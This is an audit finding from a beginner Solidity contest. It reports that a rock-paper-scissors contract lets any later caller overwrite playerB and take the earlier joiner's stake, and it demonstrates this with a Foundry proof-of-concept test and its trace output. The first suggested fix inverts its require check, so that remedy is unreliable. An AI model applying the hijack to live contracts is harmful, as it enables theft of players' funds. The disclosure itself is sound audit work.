Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Multiple player can join the same game leading to loss of funds.

Description

In `RockPaperScissors` game there is no checks weather the `Game::playerB` has joined or not. That results in multiplayer would be join the same game at a time or after. Which lead to loss of funds of `playerB` previously joined. As the `RockPaperScissors::joinGameWithEth` function can be called by multiple players and the `playerB` will be change, that lead to loss of funds of the previous `playerB`.

Impact

Multiple player can join the same game weather it is genuine user or hacker, whicch would results in loss of funds of the players.

Proof of Concept

Let's creat a senario.
1. `Gaurang` create a game with bet `1 ETH`.
2. `Manav` joined the game with amount `1 ETH`.
3. Now, At the same time another player also want to play and join.
4. Suppose a player named `hacker` joined the game with the amount `1 ETH`.
Now in the current `Game` struct the address of `playerB` will be changed to address of `hacker`, which lead to loss of funds of `Manav`.
Proof Of Code:
```js
function testMultiplePlayerCanJoinInOneGame() public {
// First create a game
vm.prank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
// Now join the game
vm.startPrank(playerB);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
// Verify game state
(address storedPlayerA, address storedPlayerB,,,,,,,,,,,,,, RockPaperScissors.GameState state) =
game.games(gameId);
assertEq(storedPlayerA, playerA);
assertEq(storedPlayerB, playerB);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Created));
address hacker = makeAddr("hacker");
vm.deal(hacker, BET_AMOUNT);
vm.startPrank(hacker);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, hacker);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
// Verify game state
(address storedPlayerA2, address storedPlayerB2,,,,,,,,,,,,,, RockPaperScissors.GameState state2) =
game.games(gameId);
assertEq(storedPlayerA2, playerA);
assertEq(storedPlayerB2, hacker);
assertEq(uint256(state2), uint256(RockPaperScissors.GameState.Created));
}
```
Result:
```js
[PASS] testMultiplePlayerCanJoinInOneGame() (gas: 273004)
Traces:
[273004] RockPaperScissorsTest::testMultiplePlayerCanJoinInOneGame()
├─ [0] VM::prank(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF])
│ └─ ← [Return]
├─ [184325] RockPaperScissors::createGameWithEth{value: 100000000000000000}(3, 600)
│ ├─ emit GameCreated(gameId: 0, creator: playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], bet: 100000000000000000 [1e17], totalTurns: 3)
│ └─ ← [Return] 0
├─ [0] VM::startPrank(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [0] VM::expectEmit(true, true, false, true)
│ └─ ← [Return]
├─ emit PlayerJoined(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
├─ [24919] RockPaperScissors::joinGameWithEth{value: 100000000000000000}(0)
│ ├─ emit PlayerJoined(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [8060] RockPaperScissors::games(0) [staticcall]
│ └─ ← [Return] playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], 100000000000000000 [1e17], 600, 0, 1, 86401 [8.64e4], 3, 1, 0x0000000000000000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000000000000000000000000000, 0, 0, 0, 0, 0
├─ [0] VM::assertEq(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF]) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1]) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(0, 0) [staticcall]
│ └─ ← [Return]
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE]
├─ [0] VM::label(hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE], "hacker")
│ └─ ← [Return]
├─ [0] VM::deal(hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE], 100000000000000000 [1e17])
│ └─ ← [Return]
├─ [0] VM::startPrank(hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE])
│ └─ ← [Return]
├─ [0] VM::expectEmit(true, true, false, true)
│ └─ ← [Return]
├─ emit PlayerJoined(gameId: 0, player: hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE])
├─ [3019] RockPaperScissors::joinGameWithEth{value: 100000000000000000}(0)
│ ├─ emit PlayerJoined(gameId: 0, player: hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE])
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [2060] RockPaperScissors::games(0) [staticcall]
│ └─ ← [Return] playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE], 100000000000000000 [1e17], 600, 0, 1, 86401 [8.64e4], 3, 1, 0x0000000000000000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000000000000000000000000000, 0, 0, 0, 0, 0
├─ [0] VM::assertEq(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF]) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE], hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE]) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(0, 0) [staticcall]
│ └─ ← [Return]
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.84ms (966.16µs CPU time)
```

Recommendations

There can be multiple solution for this.
1. Add new state to the `GameState` struct to lock the perticuler game after one player joined the game.
```diff
+ Engaged
```
Update the `Game` struct to determine weather game is engaged or not.
```diff
+ GameState engagedState;
```
Also add this check into the `RockPaperScissors::joinGameWithEth` function like following.
```diff
+ require(game.engagedState == GameState.Engaged, "Game not open to join");
```
Update the state after `playerB` join the game.
```diff
+ game.engagedState = GameState.Engaged;
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
```
... Update functions accoringly in contract.
2. Check for the `playerB` address in the game.
Check the address of the playerB in the game weather it is `zero` or not.
Add this into `RockPaperScissors::joinGameWithEth` function.
```diff
+ require(game.playerB == address(0), "Game not open to join");
```
Updates

Appeal created

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Absence of State Change on Join Allows Player B Hijacking

Game state remains Created after a player joins

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.